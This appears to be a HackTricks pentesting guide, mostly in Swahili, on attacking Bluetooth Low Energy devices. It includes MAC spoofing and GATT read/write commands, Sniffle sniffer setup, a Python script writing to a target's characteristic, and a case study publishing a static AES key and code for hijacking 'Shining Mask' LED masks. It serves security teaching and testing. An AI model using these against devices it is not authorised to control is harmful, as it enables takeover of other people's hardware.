Pentesting BLE - Bluetooth Low Energy

Reading time: 11 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Utangulizi

Imepatikana tangu spesifikeshni ya Bluetooth 4.0, BLE inatumia tu michaneli 40, ikifunika anuwai ya 2400 hadi 2483.5 MHz. Kwa upande mwingine, Bluetooth ya jadi inatumia michaneli 79 katika anuwai ileile.

Vifaa vya BLE huwasiliana kwa kutuma paketi za matangazo (beacons); paketi hizi zinatangaza uwepo wa kifaa cha BLE kwa vifaa vingine vilivyo karibu. Beacons hizi wakati mwingine pia hutuma data.

Kifaa kinachosikiliza, kinachoitwa pia kifaa cha central device, kinaweza kujibu paketi ya matangazo kwa SCAN request iliyotumwa mahsusi kwa kifaa kinachotangaza. Jibu la skani hiyo (response) linatumia muundo ule ule wa paketi ya matangazo (advertising) na taarifa za ziada ambazo hazikuweza kufaa kwenye ombi la awali la matangazo, kama jina kamili la kifaa.

Byte ya preamble huoanisha masafa, wakati anwani ya ufikiaji yenye byte nne ni kitambulisho cha muunganisho (connection identifier), kinachotumiwa katika matukio ambapo vifaa vingi vinajaribu kuanzisha muunganisho kwenye michaneli ileile. Ifuatayo, Protocol Data Unit (PDU) ina data ya matangazo. Kuna aina kadhaa za PDU; zinazotumika zaidi ni ADV_NONCONN_IND na ADV_IND. Vifaa hutumia aina ya PDU ADV_NONCONN_IND ikiwa havikubali muunganisho (don’t accept connections), vikituma data tu kwenye paketi ya matangazo. Vifaa hutumia ADV_IND ikiwa vinaruhusu muunganisho (allow connections) na huacha kutuma paketi za matangazo mara muunganisho (connection) utakapothibitishwa.

GATT

The Generic Attribute Profile (GATT) inaeleza jinsi kifaa kinavyopaswa kupangilia na kuhamisha data. Unapochambua attack surface ya kifaa cha BLE, mara nyingi utaelekeza umakini wako kwenye GATT (au GATTs), kwa sababu ndiyo njia ambayo functionality za kifaa zinachochewa na jinsi data inavyohifadhiwa, kuundwa kwa makundi, na kubadilishwa. GATT inaorodhesha characteristics, descriptors, na services za kifaa katika jedwali kama maadili ya 16- au 32-bit. Characteristic ni thamani ya data inayotumwa kati ya central device na peripheral. Characteristics hizi zinaweza kuwa na descriptors zinazoruhusu kutoa taarifa za ziada kuhusu hizo characteristics. Characteristics mara nyingi huunganishwa ndani ya services ikiwa zina uhusiano wa kutekeleza kitendo fulani.

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool inaruhusu kuanzisha muunganisho na kifaa kingine, kuorodhesha sifa za kifaa hicho, na kusoma na kuandika sifa zake.
GATTTool inaweza kuanzisha shell ya mwingiliano kwa chaguo la -I:

Matumizi ya GATTTool ya mwingiliano na mifano
bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing na kudhibiti kwa nguvu unpaired BLE devices

Vifaa vingi vya BLE vya gharama ndogo havetekelezi pairing/bonding. Bila bonding, Link Layer encryption haizimwi kamwe, hivyo trafiki ya ATT/GATT iko wazi (cleartext). Off-path sniffer inaweza kufuatilia muunganisho, kufasiri GATT operations ili kujifunza characteristic handles na values, na host yeyote wa karibu anaweza kisha kuungana na kurudia (replay) uandishi huo ili kudhibiti kifaa.

Sniffing with Sniffle (CC26x2/CC1352)

Vifaa: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) iliyoflash-up tena na NCC Group’s Sniffle firmware.

Sakinisha Sniffle na Wireshark extcap yake kwenye Linux:

Sakinisha Sniffle extcap (Linux)
bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Flash Sonoff with Sniffle firmware (hakikisha kifaa chako cha serial linalingana, kwa mfano /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Rekodi katika Wireshark kupitia Sniffle extcap na haraka pivot kwenda state-changing writes kwa kuchuja:

text
_ws.col.info contains "Sent Write Command"

Hii inaonyesha ATT Write Commands kutoka kwa client; handle na value mara nyingi huendana moja kwa moja na vitendo vya device (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).

Mifano fupi ya Sniffle CLI:

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin pia inafanya kazi. Kwa dongles ndogo/bei nafuu za Nordic, kwa kawaida unaandika juu USB bootloader ili kupakia sniffer firmware, hivyo au unakuwa na dongle maalum ya sniffer au unahitaji J-Link/JTAG kurejesha bootloader baadaye.

Udhibiti wa moja kwa moja kupitia GATT

Mara tu utakapo tambua writable characteristic handle na value kutoka kwa sniffed traffic, ungana kama central yoyote na fanya write hiyo hiyo:

  • Kwa kutumia Nordic nRF Connect for Desktop (BLE app):

  • Chagua dongle ya nRF52/nRF52840, scan na uunganishe kwenye target.

  • Pitia database ya GATT, tafuta target characteristic (mara nyingi ina jina rafiki, kwa mfano Alert Level).

  • Fanya Write kwa kutumia sniffed bytes (kwa mfano 01 kuwasha, 00 kuzima).

  • Endesha moja kwa moja kwenye Windows kwa kutumia dongle ya Nordic na Python + blatann:

Python blatann write example (Windows + Nordic dongle)
python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Kesi ya mfano: kupora maski za BLE LED (familia ya Shining Mask)

Maski za BLE LED za bei nafuu, white‑labeled zinazosimamiwa na app ya ā€œShining Maskā€ zinakubali udhibiti wa kuandika kutoka kwa central yoyote iliyo karibu bila pairing/bonding. App inazungumza GATT kwa command characteristic na data characteristic; amri zinaundwa kwa AES‑ECB zenye static key iliyowekwa moja kwa moja ndani ya app, wakati data kubwa ya picha haijasimbwa.

Key UUIDs kwenye vifaa hivi:

  • Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
  • Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
  • Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Uandishi wa GATT bila uthibitisho

  • Hakuna pairing/bonding inahitajika. Kila host anaweza kuungana na kuandika kwa command UUID kubadilisha brightness, kuchagua images, kuanza animations, n.k.
  • Operesheni za kawaida zilizotazamwa: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Uundaji wa fremu za amri za AES yenye static key

  • Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
  • Known static key (hex): 32672f7974ad43451d9c6c894a0e8764

Msaidizi wa Python ku-encrypt na kutuma amri (mfano: set max brightness):

python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Mtiririko wa upakiaji wa picha

  • Baada ya DATS handshake iliyofichwa, vipande ghafi vinaandikwa bila kufichwa kwenye data characteristic …960a.
  • Packet format: [len][seq][payload]. Kwa uzoefu ~100 bytes payload kwa packet inafanya kazi kwa uaminifu.
Minimal upakiaji wa picha pseudo-code
python
# Start upload (encrypted): two bytes size, two bytes index, one toggle byte
img_index = b'\x01\x00'  # index 1
img_size  = (len(img_bytes)).to_bytes(2, 'big')
start     = enc_cmd('DATS', img_size + img_index + b'\x01')
write_cmd_char(start)  # expect DATSOK on notify char

# Stream raw chunks (unencrypted) to ...960a: [len][seq][payload]
seq = 0
CHUNK = 98  # data bytes per packet (ā‰ˆ100 total incl. len+seq)
for off in range(0, len(img_bytes), CHUNK):
chunk = img_bytes[off:off+CHUNK]
pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk
write_data_char(pkt)
seq += 1

# Optionally signal completion if firmware expects it (e.g., DATCP)

Vidokezo vya uendeshaji

  • Pendelea Sonoff+Sniffle kwenye Linux kwa channel hopping thabiti na connection following. Weka Nordic sniffer ziada kama chelezo.
  • Bila pairing/bonding, mshambuliaji yeyote uliokaribu anaweza observe writes na replay/craft zao kwenye unauthenticated writable characteristics.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks